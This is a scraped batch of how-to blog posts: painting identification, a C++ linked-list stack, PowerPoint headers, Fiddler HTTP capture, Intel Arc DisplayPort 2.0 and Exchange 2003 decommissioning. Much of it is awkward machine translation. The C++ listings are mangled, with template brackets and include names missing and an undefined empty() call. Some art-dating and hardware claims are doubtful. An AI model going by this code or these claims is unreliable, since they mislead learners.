effect and fix the above error.\n  The CPU status is overloaded 100% because of too many application tabs, virus infection, or may not be cleaned for a long time. With OneDrive error, which overloads CPU on Windows, we can handle and fix according to the above article.\nHope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqwusSdqaKulWKys77Oq2SmmZuawG6vz65kqK6Vp7mwrcNmpqdlp567pbvWrGRqaA%3D%3D\n","link":"/post/how-to-fix-onedrive-error-makes-cpu-overload-on-windows-10/","section":"post","tags":null,"title":"How to fix OneDrive error makes CPU overload on Windows 10"},{"body":" Learning more about a piece of famous art is easy, but identifying an unknown or obscure painting can be kind of tricky. There are so many paintings in existence that the odds of finding information about a specific image can feel...\nMethod 1of 3:\nFinding the Artwork Quickly  Use an image recognition app to identify the painting immediately. If you're struggling to remember an artist's name or you want additional information on a particular painting, download an image recognition app designed specifically for art. There are several apps for both Android and iPhone that allow you to snap a photo of a painting to search through museum catalogues, university databases, and art history texts. This is the easiest way to find a specific painting.[1] The two most popular apps for recognizing artwork are Smartify and Magnus. Both of these apps will pull up information about the work's artist, as well as interesting facts and background information about the composition. These apps only have access to paintings that have been well-documented and catalogued by curators, professors, historians, and other artists. If the painting is made by a more obscure artist, these apps may not work.   Run a reverse image search if you have a digital copy of the painting. If you're looking at a painting on your computer or phone, run a reverse image search. Copy and paste the image's URL into the search engine. Run the search to pull up other websites displaying the painting. This will give you access to a variety of websites that will tell you everything you need to know about the painting.[2] If you're using Google Chrome, you can right click an image and select 'Search Google for this image' to search the web. You can download an image and upload it to the engine instead of copying and pasting the URL if you prefer. The most popular reverse image search is TinEye, but there are several options available online. Tip: You can try taking a photo of a painting and uploading the image to the search engine, but you're less likely to find accurate results. These search engines aren't great at taking photos and finding digital versions of the image, but it may work!\n  Use the signature or monogram to dig online and find the image. Look in the corners of the painting to see if there is a signature or monogram. If the name is easy to read, simply search the artist's name up online to find the painting. If it's harder to read, look carefully to see if you can break down the letters and read them. This will let you narrow down the search and figure out who the artist is, which can make it easier to find your specific painting.[3] A monogram refers to a 2- to 3-letter design containing the artist's initials. Monograms tend to be more popular among painters working after the 1800s. Signatures were almost never used before the Renaissance, which began around 1300. Even if you can't identify a signature, at least you have a baseline for your search![4] You have to sign up for a free account to use it, but you can use https://artistssignatures.com/ to reverse search for an artist's signature. This is useful if you think you can read the signature but want to double-check to make sure you aren't misreading it.  Method 2of 3:\nAssessing the Composition  Ask an expert to identify the era, style, or painter of an image. Email or visit a museum curator, art history professor, or gallery owner to ask if they can take a look at the image. An expert in the field of art will be able to offer insights about the period, style, and give you a better sense for where to look. They may even know who the artist is as soon as they take a look at it![5] If you're contacting a gallery owner, try to find a gallery that specializes in the type of art you're trying to identify. For example, a contemporary abstract piece is going to be easier to identify if the gallery owner mainly focuses on newer artists.   Use obvious clues in the subject matter to narrow down the date. Contemporary painters may paint people or objects from the past, but they can't time travel! If there's a train, company logo, digital clock, or some other time-specific component of the painting, this is a great way to set a baseline for your search. You can get a good overall sense for when a painting may have been made simply by asking yourself when an artist would have painted their subject. For example, there aren't many painters alive today painting portraits of Spanish aristocrats from the 1600s, and absolutely nobody was painting images of Elvis Presley before 1954! For example, if there is a small airplane in the background of the painting, you know that the painting must have been made after 1903, since that's when Wilbur and Orville Wright first successfully flew a plane.   Identify the artistic movement by assessing the style of the painting. There are various artistic movements throughout history that share similar qualities. Determining the movement associated with an image is a great way to quickly narrow down your search since historians group artists from the same movement together.[6] There are hundreds of movements; if you can't figure out the movement at first glance, look through museum catalogues and online collections to find similar paintings. Common Movements:\nNeoclassical – It may be neoclassical if the light looks artificial and you're looking at a painting of a large group of aristocrats, a general, a raging battle, or a dramatic religious scene. The image was likely painted between 1750-1850.\nExpressionism and Impressionism – These paintings tend to have expressive brush strokes colors that aren't exactly accurate. The image may be 'messy' but you should still be able to figure out what you're looking at. These styles were popular between 1860-1920.\nRealism – If the painting looks kind of like a photo (or exactly like a photo) and nobody in the image is dressed up or posing for the painting, it was probably made after 1840.\nAbstract and Experimental – For these movements, you'll probably have no idea what's going on in the painting. These paintings rarely depict anything you can immediately identify and are only found after 1930.\n  Determine if the artist used acrylic paint to see if it was made after 1940. Get as close as you possibly can to the image. If the color looks flat and the darker colors don't reflect light, it's probably oil paint. If the color is reflective, shiny, and looks kind of plastic, it is likely acrylic paint. Acrylic paint wasn't used in art until 1940, so you have a much smaller period to search through.[7] If more than one medium was used to produce a work, it is highly-likely that the image was created after 1900. It was fairly rare before this period to combine multiple materials to produce a painting. This is a lot harder to do if you're looking at a digital image, but if the colors are almost supernaturally bright or neon, the painting was probably made with acrylic.   Assess the quality of the canvas or paper to determine the date. If the canvas is stapled into the frame uniformly, it is unlikely to have been made before 1900, which is when canvases were first mass produced. You can also assume the painting is relatively newer if it's is on paper and there's no tearing, damage, or general wear and tear. Paper is relatively fragile, and it's unlikely that a fresh piece of paper is particularly old.[8] If the canvas is hanging loosely on the frame, the painting may have been made prior to 1600. Before 1600, most artists weren't particularly good at stretching the fabric tight against the frame.   Search through websites and catalogues after narrowing the search. If you know you're looking for art from a specific time period or movement, go online and search through galleries and websites related to this type of art. Look for paintings that are similar in style, color, and composition. You can also go through museum databases and encyclopedias to find your image to do this as well. With enough luck, you'll find the artist![9] Almost every major museum has an online dataset that you can search. Search through these catalogues to find similar pieces that may belong to your artist. Once you have the artist, finding the specific painting is fairly easy. Museums and universities often catalogue and document the entire body of work for well-known painters, so you should be able to find the specific painting just by poking around online.  Method 3of 3:\nUsing Less Obvious Details  Inspect the back of the painting to find notes from previous owners. If you really can't find anything about an image in your possession using traditional search methods, flip the canvas over and look at the back. If the image is a print or reproduction, it may be listed on the back. If the painting is a family heirloom or was bought at a thrift shop, there may be a handwritten note describing where the painting is from.[10] Use the other steps in this method first before looking for lesser known details. It's possible that the painting is a reproduction, print, or mass-produced version of a popular painting. If you see 2-3 numbers listed in a corner, the painting was probably purchased at a thrift shop or resale store. The employees of these stores often write the price on a back of a work. You're unlikely to be able to identify the artist or image in this case.   Check the frame to see if you can find a manufacturer. Inspect the frame on the back and look for an imprint, or label. Frame manufacturers often print a company name on the back. If there is a name, contact the manufacturer to learn more about the frame itself. This can drastically narrow down the region and time period where a painting was produced.[11] If you only have the canvas and there is no frame, check the wood portion of the canvas on the back. Prior to 1900, most artists stretched their own canvases. If there is a signature on the wood frame, it's probably the artist's. This isn't really a helpful option if the painting is well known or really old, since it was likely re-framed at some point.   Take a large collection from an unknown painter to an art dealer. If you stumble on a large number of paintings and you can't find a single thing about the artist online or through close inspection, contact an art dealer. Many lifelong artists paint simply because they enjoy it, and it's possible that you may have stumbled on to a unique collection from a totally unknown artist![12]\nVariaton: If the paintings appear particularly old, contact a museum curator or art historian instead. Older paintings tend to be more valuable from a historical perspective.\n  Marvin Fry Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGUmru1tcWyZJploJa2r8DIp54%3D\n","link":"/post/how-to-identify-a-painting/","section":"post","tags":null,"title":"How to Identify a Painting"},{"body":" A stack is a basic data structure that is commonly used throughout computer science. For example, a stack is utilized by your web browser to remember the last few pages you were on. Developers and programmers should be very familiar with...\nPart 1of 5:\nConfiguring the Initial Environment  Open your IDE (Integrated Development Environment). If you are using Visual Studio, you can open it by pressing the Windows Key and then searching for \"Visual Studio\". An IDE is required to run your program. If you do not have an IDE installed, install one prior to continuing with this article. Though no particular IDE is required, the initial environment configuration steps in this project will be demonstrated in Visual Studio. If you are already familiar with configuring an environment and creating a class, then do so and proceed to part two, where you will begin implementing the stack class. You can use How to Install Visual Studio (Windows) or How to Install and Configure Xcode (Mac OS X) to help with installation.    Create a new project. You must create a new project to group all the code that is associated with the specific goal you are trying to achieve. This helps with organization as sometimes the specific goal you are trying to achieve may require a substantial amount of code. In Visual Studio, use the keyboard shortcut Ctrl+⇧ Shift+N to open a new project.. In the rare case your Project does not open to a CLR Project (Clear Project), create a new C++ CLR Project by clicking on: Installed (Side Panel) Visual C++ (Side Panel) CLR (Side Panel) CLR Empty Project (Center view)    Enter the details for your project. At the bottom of your New Project window, there will three text boxes: Name, Location, Solution Name. Though it is not required, you probably want to fill them to help decipher between other projects. After you have entered these, click the \"OK\" button at the bottom right. Name: stackType Location: Browse for your Documents folder Solution Name: stackType   Add a class to your project. In Visual Studio, the easiest way to add class is to simply use the keyboard shortcut Ctrl+⇧ Shift+X. Once the window title Class Wizard opens, click the Add Class button towards the top right.\n  Enter the details for your class. In the Add Class window, enter StackLinked in the text box titled Class Name. Assure that none of the option boxes towards the bottom are checked. Once this is completed, click the OK button towards the bottom right.\n Part 2of 5:\nPreparing Your Pre-Implementation Files Implement the StackLinked Class Header using the code given below. In order to implement the methods needed, you must first let the IDE know the names of those methods. To do this, simply copy the code in the box below to your StackLinked.h file. A stack can have many implementations which range in complexity; however, here you will be implementing the most fundamental and most well-known version, which will consist of isEmpty, push, and pop. In Visual Studio, once you have coded the signatures in StackLinked.h, it will likely show you an error until you code the definitions in the StackLinked.cpp file; there is no need to worry as you will do just this in the coming steps. #include using namespace std; template typename DataType\u0026gt; class StackLinked { public: StackLinked( ); // Constructor ~StackLinked( ); // Destructor // Member functions void push( const DataType\u0026amp; newDataItem ); DataType pop( ) throw ( logic_error ); bool isEmpty( ) const; // Display Stack (Testing and Debugging) void showStructure() const; private: /*  * !!!!! NOTE !!!!!:  * LEAVE ROOM HERE TO INSERT --- Node Class --- IN THE NEXT STEP \u0026gt; */ StackNode* top; // Ptr to remember top of stack };   Implement StackNode in the StackLinked Class. Since this stack implementation utilizes a Linked List, which is just a chain of connected boxes (nodes) containing data, you will need to include the StackNode class. To do this, again, simply copy paste the code from below to your StackLinked.h file. This will allow the implementation to make the boxes and connect them together. It is crucial that you do this step carefully, for if this is not done correctly then nothing else will work. Furthermore, if done incorrectly, this may result in memory leak; which will not be good for you computer. You can think of this as the basic building block for your stack. // Node Class (Each item in stack is one node, insert this in the same file as above) class StackNode { public: StackNode(const DataType\u0026amp; nodeData, StackNode* nextPtr) { dataItem = nodeData; next = nextPtr; } DataType dataItem; // Data stored in node StackNode* next; // Pointer holding the address of the next node };   Part 3of 5:\nImplementing the Code for Stack Implement the Constructor. To implement this, initialize the top pointer to nullptr. This is telling the computer that, for now, don't point to any memory address in specific, but be ready to shortly. This is require because, logically, it is impossible to use something that isn't built. Ensure to include comments in your code to help you better understand. The run time complexity of this is O(1).[1] /*  * Default Constructor * Method to initialize all class variables * PreCondition - None * PostCondition - top is initialized */ // Class Member top is initialized to nullptr template typename DataType\u0026gt; StackLinkedDataType\u0026gt;::StackLinked ( ) { top = nullptr; // initialize value }   Implement the Destructor. The destructor will deallocate all the nodes in the stack. To deallocate a node: First, reference the top node with a temporary node (to remember the location). Second, move the top node to the next (previous) item. Think of this like a stack of boxes, to reduce the size, you take one box off at a time. Lastly, deallocate the memory taken by the previous node with the temporary node created. Repeat this process until the stack is empty to destruct entire stack Since the nodes dynamically allocate memory, which means they ask the computer for space to put their data, they must be deallocated when no longer needed. If the class does not have a destructor, then it will lead to memory leak. The complexity of this method is O(n). /* * Destructor * Method will deallocate all space taken by the stack * PreCondition - None ( No operations preformed is stack if empty ) * PostCondition - top = nullptr ( No Nodes in Stack ) */ // All nodes in stack are deallocated  template typename DataType\u0026gt; StackLinkedDataType\u0026gt;::~StackLinked( ) { StackNode* traverse; // Temp NodePtr while ( !this-\u0026gt;empty( ) ) { // Stop when no nodes left traverse = top; // Remember the previous top node top = top-\u0026gt;next; // Move top node to the next node delete traverse; // Deallocate the top node stored at start  } }   Implement the push. The push method adds a data item to the top of the stack. In layman's terms, it will add another \"box of data\" on top of the existing \"boxes of data\". In order to do this, you ask the computer for more space, put whatever data you want in there, then connect the last \"box of data\" to your new \"box of data\". Think of this either like stacking boxes, or adding train cars on to a train. In order to add a train car, you first have to get a train car and fill it with things, then link the old train car to your new one. The complexity of this method is O(1).  // Method to insert an item at the top of the stack // newDataItem: Data item that will be inserted on top of stack template typename DataType\u0026gt; void StackLinkedDataType\u0026gt;::push( const DataType\u0026amp; newDataItem ) { // Allocate new node with newDataItem and link to previous top StackNode* t = new StackNode ( newDataItem, top ); top = t; // Insert item to top of stack }   Implement the pop. The functionality of pop is to remove the top item of the stack. Since you are using a linked list (connected boxes), be very careful to make sure you are deallocating the memory correctly. First, store the data in the top node so you can return it to the user. Second, create a new node that is referencing the memory location of the top node. Third, reduce the size of the stack by moving the top node to the next item (your new top ). Lastly, you must delete the node being referenced by the temporary node you have created and return the data item that was stored at the position. Referring back to the train analogy, you want to take all things out of your train car, tell someone to hold it so it doesn't roll away when you remove it, unlink it from the next train car, and then destroy it because you don't need it any more. The complexity of this method is O(1).  // Method will remove the top member of the stack  // (most recently inserted) and return that data (PostCondition) // Function will throw Stack is not empty template typename DataType\u0026gt; DataType StackLinkedDataType\u0026gt;::pop() throw (logic_error) { if ( !this-\u0026gt;empty( ) ) { DataType d = top-\u0026gt;dataItem; // Hold data at the top of stack StackNode* t = top; // Temp. store address of top top = top-\u0026gt;next; // Advance top to now reference next item delete t; // Deallocate the space being used by previous top return d; // Return data stored in the previous top node } else { // PreCondition is that the stack cannot be empty throw logic_error(\"Error: Pop was unsuccessful. Make sure stack is not empty.\"); } }   Implement isEmpty. The functionality of isEmpty is exactly as you would expect: it will simply determine if there are any items in the stack. To do this, you can simply check if the top node is referencing anything. If it is, then you know that it is not empty because there is data there; otherwise you know that it is empty because it doesn't have any space to hold anything. You can do this because you know that the top will hold the most recent item; therefore if the most recent item is nothing this implies that there in nothing before it. Again referring to the train analogy, if you want to know a train is empty, then you just check if the train engine car is linked to or contains anything. As for the boxes analogy, you just check if there's a box; if there is not, then there is nothing. The complexity of this method is O(1).  // Will determine if list is empty ( No space taken by stack ) // PreCondition: None // PostCondition: Return either true or false template typename DataType\u0026gt; bool StackLinkedDataType\u0026gt;:: isEmpty( ) const { return ( top == nullptr ); }     Part 4of 5:\nTesting the Implementation Add a new file to your project. Now that the stack has been implemented, validate the implementation behavior. To do this, create a testStack.cpp file by using the keyboard short cut Ctrl+N and renaming the file testStack.cpp. Alternatively, right click the source folder and select Add new item, rename this item testStack.cpp.\n Add the following code in the test file. Insert the code below in the testStack.cpp file created in the last step. This code will test all the functions you have implemented. Make sure to read the project description, which outlines the specifications and test cases. Needless to say, testing implementations is very important, because if you coded something that doesn't work, then there wasn't really any purpose in doing it. More importantly, when working with dynamic allocation should not produce any memory leaks, stack overflows, etc.  ///////////////////// -- PROJECT DESCRIPTION -- //////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //  // Testing File for Stack Data Structure //  // SPECIFICATIONS: //  // Push:  // Should add item to top of stack // // Pop:  // Should remove item from top of stack //  //Empty:  // Should say \"empty stack\" if no items otherwise  // say \"not empty stack\" //  //operator= : // Should make a copy of a stack (right hand side)  // in other stack (left hand side) // //Stack exampleStack:  // Should make a empty stack //  //Stack temp(oldStack):  // Should copy items from oldstack and put them in temp // stack //  //TEST CASES: // // STEP NO. |COMMAND | RESULT // ------------------------------------------------------ // 1 | +a+b+c | [c] b a // 2 | -- | [a] // 3 | E | Stack is NOT empty // 4 | +e | [e] a // 5 | C | Stack is empty // 6 | Q | N/A //  //PASS CRITERIA FOR IMPLEMENTATION: // - All Test Cases above produce proper result // - All Stack specifications are followed // - No Memory Leaks, Build Errors, Segmentation Faults, etc. //  //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////// Header Files and Namespaces - DO NOT DELETE //////////////////////// #include // For cout #include // For formatted output #include \"StackLinked.cpp\"// To use your stack implementation using namespace std; // Use items in std namespace (std::) //////////// Header Files and Namespaces - DO NOT DELETE //////////////////////// //////////// SHOW STRUCTURE - TESTING AND DEBUGGING ////////////////////// /* * Outputs the data items in a stack. * If the stack is empty, outputs \"Empty stack\".  */ template typename DataType\u0026gt; void StackLinkedDataType\u0026gt;::showStructure() const { if( isEmpty() ) { cout \"Empty stack\" endl; } else { cout \"Topt\"; for (StackNode* temp = top; temp != 0; temp = temp-\u0026gt;next) { if( temp == top ) { cout \"[\" temp-\u0026gt;dataItem \"]t\"; } else { cout temp-\u0026gt;dataItem \"t\"; } } cout \"Bottom\" endl; } } //////////// SHOW STRUCTURE - TESTING AND DEBUGGING ////////////////////// //////////// TESTING MENU - START /////////////////////////// void testMenu( ) { cout setw( 20 ) left \"Command\" setw( 20 ) left \"Description\" endl; cout setw( 20 ) left \"H\" setw( 20 ) left \"Show Help Menu.\" endl; cout setw( 20 ) left \"+[item]\" setw( 20 ) left \"Push item ([item]) to stack. '[item]' is a placeholder. (ex. +a will add 'a' to stack.)\" endl; cout setw( 20 ) left \"-\" setw( 20 ) left \"Pop item from stack. Will remove last inserted item to stack.\" endl; cout setw( 20 ) left \"E\" setw( 20 ) left \"Check if stack is empty\" endl; cout setw( 20 ) left \"Q\" setw( 20 ) left \"Terminate testing.\" endl endl; } //////////// TESTING MENU - END /////////////////////////////// int main() { cout \"Testing Stack Data Structure Implementation\" endl; cout \"-----------------------------------------------------------\" endl; StackLinkedchar\u0026gt; testStack; // Stack char testDataItem, cmd; // Stack data item, Input Command testMenu(); // Show Command Menu // TESTING LOOP (READ CMD -\u0026gt; PREFORM OPERATION) do { testStack.showStructure(); // Output stack cout endl \"Command: \"; cin \u0026gt;\u0026gt; cmd;// Read command try { switch ( cmd ) { case 'H' : case 'h': testMenu(); break; case '+' : cin \u0026gt;\u0026gt; testDataItem; testStack.push(testDataItem); break; case '-' : cout \"Popped \" testStack.pop() endl; break; case 'Q' : case 'q' : break; case 'E' : case 'e' : cout ( ( testStack.isEmpty() ) ? ( \"Stack is emptyn\" ) : ( \"Stack is NOT emptyn\") ); break; default : cout cmd \"is an invalid command. Enter H to see menu.\" endl; } } catch ( logic_error _stackError ) { cout \"ERROR: \" _stackError.what() endl; } } while ( cin \u0026amp;\u0026amp; cmd != 'Q' \u0026amp;\u0026amp; cmd != 'q' ); }   Run tests. Sometimes when implementing functions, you will run in to errors; however there is no need to worry. This simply means that, either you told the computer to do something other than what you intended or the computer simply doesn't understand what you are telling it to do. Common bugs faced when implementing a stack include: Not incrementing your top node member which results in each push simply overwriting the previous item Not correctly deallocating a node in the pop and destructor methods which results in the computer showing memory leak or \"segmentation fault\" errors. Naturally, it is nearly impossible to outline the solution for every problem that could occur here; however having a solid approach to debugging methods is often a universal solution. See how to develop this approach below, even if you did not face any errors in your implementation.  Part 5of 5:\nDebugging Walk through the particular function or program that has an issue. Visualize what each line of code is doing. This will help with targeting the issue.\n  Comment and clean up your code and identifiers. This will help both you and others read the code and identify where a particular function isn't working according to specification.\n Research the gaps in your understanding. If you are not completely sure what a particular function, operator, or generally any line in your code is doing, then break it down to find what exactly you aren't able to piece together and search it on the internet. It is highly likely you are not the first person to have that question. In doing this, do not simply solve the problem, understand why it occurred so you become less likely to do it in the future. When the code gets more complex and the number of errors is not decreasing, this will cause increasing frustration.   Ask a friend or colleague to also take a look at your code. It is possibly that you are skipping over some detail that a new set eyes may be able to see. However, your code must be well formatted so they can understand, further implicating the importance of following coding conventions.\n Step back and take a break from the code. Attempt to mentally run through how the code should be working, possibly think of a better way to do the same function, or just don't think about the whole program at all to refresh your thinking. Once you have found a possibly solution or have relaxed your mind, get back and attempt to solve it again. More often than not, you will be able to see the mistake being made.\n  Set breakpoints at lines where you think the program is failing. If you are utilizing an IDE, then you can set breakpoints at specific lines of code; this will tell the computer to stop running for a moment so that you can see exactly what it has already done and predicate what it will do next. This will often show you exactly why the program is failing to execute how you want it.\n  Kareem Winters Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGdpbmmucSnq2aZXajBoq%2FKZpuarJFiwLW%2B1JyrrqqVYravecI%3D\n","link":"/post/how-to-implement-a-stack-data-structure-in-c/","section":"post","tags":null,"title":"How to Implement a Stack Data Structure in C++"},{"body":"Similar to Word and Excel, PowerPoint also has tools for editing basic content such as creating Header and Footer, headers in the header or footer. You can add some information to the top of the page or insert the number of pages on PowerPoint at the bottom of the page, . So how to insert PowerPoint Header and Footer is different when inserting in Word and Excel?\nMicrosoft Word: How to create page title (Header) and footer (Footer) How to create Header in Microsoft Excel How to create different Header, Footer on Word Insert Header and Footer on PowerPoint Step 1:\nOpen the PowerPoint file and click on the Insert tab on the toolbar, then click on the Header \u0026amp; Footer section below.\n  Step 2:\nThe Header and Footer table appears. Please tick the Notes and Handouts tab and then click on the Date and time section to display the date and time, select the Page number to display the number of pages on the Slide when printing. You can choose the type of date display you want.\n  Step 3:\nNext, we select the Header to create a header for Slide. Please enter the header title in the bar below.\nNext to the Footer section to create the bottom footer for Slide, also enter the content for the footer in the bar below.\nWe will see the content displayed in the Preview section to see how to preview the insert file Header and Footer. Finally click Apply to All to apply with all PowerPoint slides.\n  So you have finished inserting the title for the header and footer on PowerPoint. Content titles will be inserted into all slides on PowerPoint files, like Word and Excel.\nSee more:\nCreate beautiful slides for PowerPoint presentations with 8 tips Instructions to resize Slide pages in PowerPoint How to copy PowerPoint file content to Word file I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqLKzwIyhnJqclad6orrDZp2op6Sav267zWanqK%2BVp72wtc2tZLCglaN6sb7Ip6uippc%3D\n","link":"/post/how-to-insert-header-and-footer-on-powerpoint-when-printing/","section":"post","tags":null,"title":"How to insert Header and Footer on PowerPoint when printing"},{"body":"Fiddler is a free web debugging proxy that records all HTTP / HTTPS traffic between your web application and the Internet. Fiddler session data collection can be useful for troubleshooting situations such as:\nWhen no user action is collected for an application, (JavaScript code Dynatrace is not infected with the virus and the signaling signal is not resent.) When a JavaScript error caused by the Dynatrace Real User Monitoring JavaScript code affects your application. In the absence of user actions (for example, a special interaction with the application). Exported Fiddler sessions can be uploaded to the organization's incident management system (ie support) to facilitate problem solving.\nUse Wireshark to analyze data packets in the network How to use Fiddler to collect HTTP / HTTPS sessions for debugging Use Fiddler to create an HTTP session of the monitored web application Alternatives to Fiddler sessions Use the Chrome Dev Tools to export the HTTP archive session Use IE Dev Tools to export NetXML sessions  Use Fiddler to create an HTTP session of the monitored web application 1. Download and install Fiddler.\n2. If your web application uses HTTPS:\na. Open Fiddler.\nb. Go to Tools\u0026gt; Fiddler Options and set the options boxes as shown below.\n  3. If your web application is an Android application:\na. Open Fiddler.\nb. Go to Settings\u0026gt; Wi-Fi\u0026gt; Modify Network .\nc. Set Fiddler as a Wi-Fi proxy, as shown below.\n  d. Go to Tools\u0026gt; Fiddler Options\u0026gt; Connections .\ne. Find your IP workstation via the command line with ipconfig on Windows or ifconfig on Linux and the proxy port.\nf. If your application uses SSL certificates, you must also add the Fiddler certificate to your device.\ng. To add a Fiddler certificate to your device, go to Tools\u0026gt; Fiddler Options\u0026gt; HTTPS\u0026gt; Actions\u0026gt; Export Root Certificate to Desktop to get the Fiddler certificate.\nhour. Save the exported certificate, usually named FiddlerRoot.cer on your Android device by going to Settings\u0026gt; Security\u0026gt; Install from SD card (where you copied it for the first time). You will then see a certificate in the USER tab of the Trusted credentials section.\n  4. Turn off the collection feature so that the browser cache is cleared and start a new cycle.\na. Go to File\u0026gt; Capture Traffic or press F12.\nb. Clearing the browser's cache will delete the cache entries and they must be downloaded again.\n5. Begin to re-collect traffic and complete the problematic transactions on your site.\n6. Once done, go to File\u0026gt; Save\u0026gt; All Sessions .\n7. (Optional) Upload the file to the organization's incident management system to facilitate troubleshooting.\nAlternatives to Fiddler sessions Use the Chrome Dev Tools to export the HTTP archive session Note: This alternative should only be considered a last resort. It is better to create a Fiddler session (mentioned in the previous section), because it is easier to replicate support cases.\nIn case it is not possible to use Fiddler to create sessions, Google Chrome can also export sessions to consider. Follow the steps below to collect HTTP Archive Session (HAR) files.\n1. Open Google Chrome and clear your browser's cache.\n  2. Press F12 to open the Dev Tools.\n3. Click the Network tab .\n4. Complete transactions that have problems in your application.\n5. After finishing, select all sessions, right-click on the blank space and select Save as HAR with Content from the menu.\n(Optional) Upload to the organization's incident management system to facilitate problem solving.\nUse IE Dev Tools to export NetXML sessions Note: This alternative should only be considered a last resort. It is better to create a Fiddler session, because it is easier to replicate support cases.\nFollow the steps below to export the NetXML session.\n1. Open Internet Explorer 8+ .\n2. Press F12 to open the developer toolbar.\n3. Clear the cache and cookie domain.\n  4. Press the Play button (green triangle) to start.\n5. Complete transactions that have problems in your application.\n6. Once done, click the Export button (the drive icon with the arrow on the right) to save the file.\n7. Upload files to the support system so that the person responsible for resolving the issues is considered.\nSee more:\nHow to use Recoverit to recover data on your computer How to remove Bloatware on Android does not need root access Instructions for fixing Access Denied errors during file or folder access on Windows ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqntcOdo56qXam8bq%2FOpaOem6RitbXAz2afraygqHq0sdKsoKimo2KzsL6MnZybrZectq%2Bz\n","link":"/post/how-to-use-fiddler-to-collect-http-https-sessions-for-debugging/","section":"post","tags":null,"title":"How to use Fiddler to collect HTTP / HTTPS sessions for debugging"},{"body":"Just a few days after officially announcing the Intel Arc brand targeting the dedicated gaming graphics processor market, as well as background information on the first-generation Xe-HPG 'Alchemist' (DG2) product line , Intel has begun to reveal some more important specifications that will be supported on this GPU model. In particular, the most notable is the appearance of DisplayPort 2.0, which means the ability to support super high-resolution screens with extremely deep colors.\nThis week, Intel announced patches that lay the groundwork for DisplayPort 2.0 support with the 'i915' core graphics driver, according to a report from Phoronix. In it, there are some patches specifically mentioning Display Port 2.0 UHBR [Ultra High Bit Rate] and 128b/132b channel encoding supporting Intel's DG2 product line. Specifically, a patch reveals that upcoming Intel GPU models will be able to handle UHBR 20 mode that supports 80Gbps raw bandwidth. This is a good sign, suggesting that at least a few upcoming Arc 'Alchemist' GPUs will support DisplayPort 2.0 with UHBR 20 for extreme transfer performance.\n  More specifically, DisplayPort 2.0 with UHBR 20 interface has an effective data transfer rate of 77.37Gbps with 128b/132b encoding, allowing for higher resolution processing, better refresh rate. , as well as the ability to display a wider color gamut. Only one DisplayPort 2.0 cable will be able to support an 8K 30-bit (10-bit per color) display at 60Hz HDR without any kind of compression (DSC or chroma subsampling).\nThe same cable can support 24-bit 10K displays at 60Hz with HDR without any compression standards. Meanwhile, with Display Stream Compression (DSC), a single DisplayPort 2.0 cable can support displays with up to 16K resolution at 60Hz or lower resolution displays at high refresh rates. For instance, gamers can now expect to experience an 8K display with a 120Hz refresh rate, although in practice it is far from straightforward to achieve such a setup.\nThe DisplayPort 2.0 connection standard will use USB-C ports and operate on Thunderbolt 3 technology. Although Thunderbolt is usually limited to 40Gb/s, it does support 2-way connections. Whereas DisplayPort is a one-way connection, it is entirely possible to use the full 80Gbps bandwidth of this protocol.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2FAxKVkmqqTYq6tr8eepKKrpGK0scGMsKClpF2YvK6xjLCgraBdmba0vMuasKmnoql6c3yMrKypqJ%2BnwW7Bz2arqGVha7husMisp6WZqWK%2Fpr%2FOpaytoZ%2Bj\n","link":"/post/intel-arc-alchemist-gpu-will-come-with-displayport-2-0-support-up-to-16k-display-resolution/","section":"post","tags":null,"title":"Intel Arc 'Alchemist' GPU Will Come With DisplayPort 2.0, Support Up To 16K Display Resolution"},{"body":"The rest of the work you need to do to ensure the first Exchange server can be safely and successfully stopped. Review part I Introduce Stopping an old Exchange 2003 server is a fairly easy process. But you will need to add some steps if it is the first server installed in an administrative group. The reason is that this Exchange server holds many specific configuration elements or additional roles may not switch to another Exchange server in the same administrative group. Take some time to verify that additional roles have been delivered correctly and successfully to the new Exchange server, you can help yourself avoid many headaches later when you want to deactivate servers. Other Exchange. In Part 1 of this series, we looked at the steps needed to copy some important system folders to a new Exchange server that is also installed in the administrative group. We also provide the steps needed to ensure that the Offline Address List (Offline Address List) has been created by the new server and that no server has been shut down. In this article, I will continue the discussion of some of the remaining work to be done to ensure that the first Exchange server can be safely and successfully removed. Reconstruct the Recipient Update Service \n The Recipient Update Service, or commonly known as RUS, is an important component of Exchange 2000 and Exchange 2003 but can easily be missed during server downtime. The main task of RUS is to confirm the correct address of user accounts. Errors in the reconstruction of this component can cause the new server to lose user account authentication. Since RUS is configured with the names of both Exchange servers and domain controllers, it is natural for RUS to determine the name of the first Exchange server installed. Unless you change some points when setting up, there are some other points. You should check this configuration before the old server stops working. To change the configuration to the new Exchange server, follow these steps: 1. Run the Exchange System Manager snap-in. 2. Locate the Recipients object and expand it. Under Recipients you will see the Recipient Update Services component. Move to the location of this component. 3. Now in the right pane you will see a list of configured Recipient Update Services objects. The two smallest objects are illustrated in Figure 1. It is important to note that any RUS that has an Exchange Server column DCEX1 (server removed) needs to be fixed.\n  Figure 1 : Recipient Update Services\n4. Right-click each RUS to rebuild and select Properties . You will see a screen similar to Figure 2 that appears.\n  Figure 2 : RUS Properties (RUS Properties)\n5. On the General tab of the RUS Properties section, you will see that the Exchange Server field contains the name of an Exchange server. You need to make sure that this server is not the old server that will be removed (in this case, DCEX1). If the old server is set up, you need to change it by using the Browse button and selecting the new server. After clicking Browse , the Select Exchange Server window opens. Type the new server name and click the Check Names button. 6. Assuming the new server has an underlined name, click OK to return to the Properties window of the RUS. Check if the new server name is already displayed in the Exchange Server field. If available, click OK to exit. Now you can remove the dependencies of RUS on the old Exchange server. You must repeat this process with every RUS configured in this Exchange server. Routing Group Masters You will have to do this if you have multiple routing groups and group routing connectors in your server. You must make sure that the server you are about to remove is not the master routing group. To change the master routing group, you can follow these steps: 1. Run the Exchange Server Manager snap-in. 2. Determine the appropriate routing group and expand it. Below you will see the Members object. In the right pane, the servers in this routing group are shown. One of them is listed as Master . If this is the server that is about to be removed, you must change it again, select the master server as the new server. 3. To select a new server for the Master role, simply click on the server you want and select Set As Master . This is illustrated in 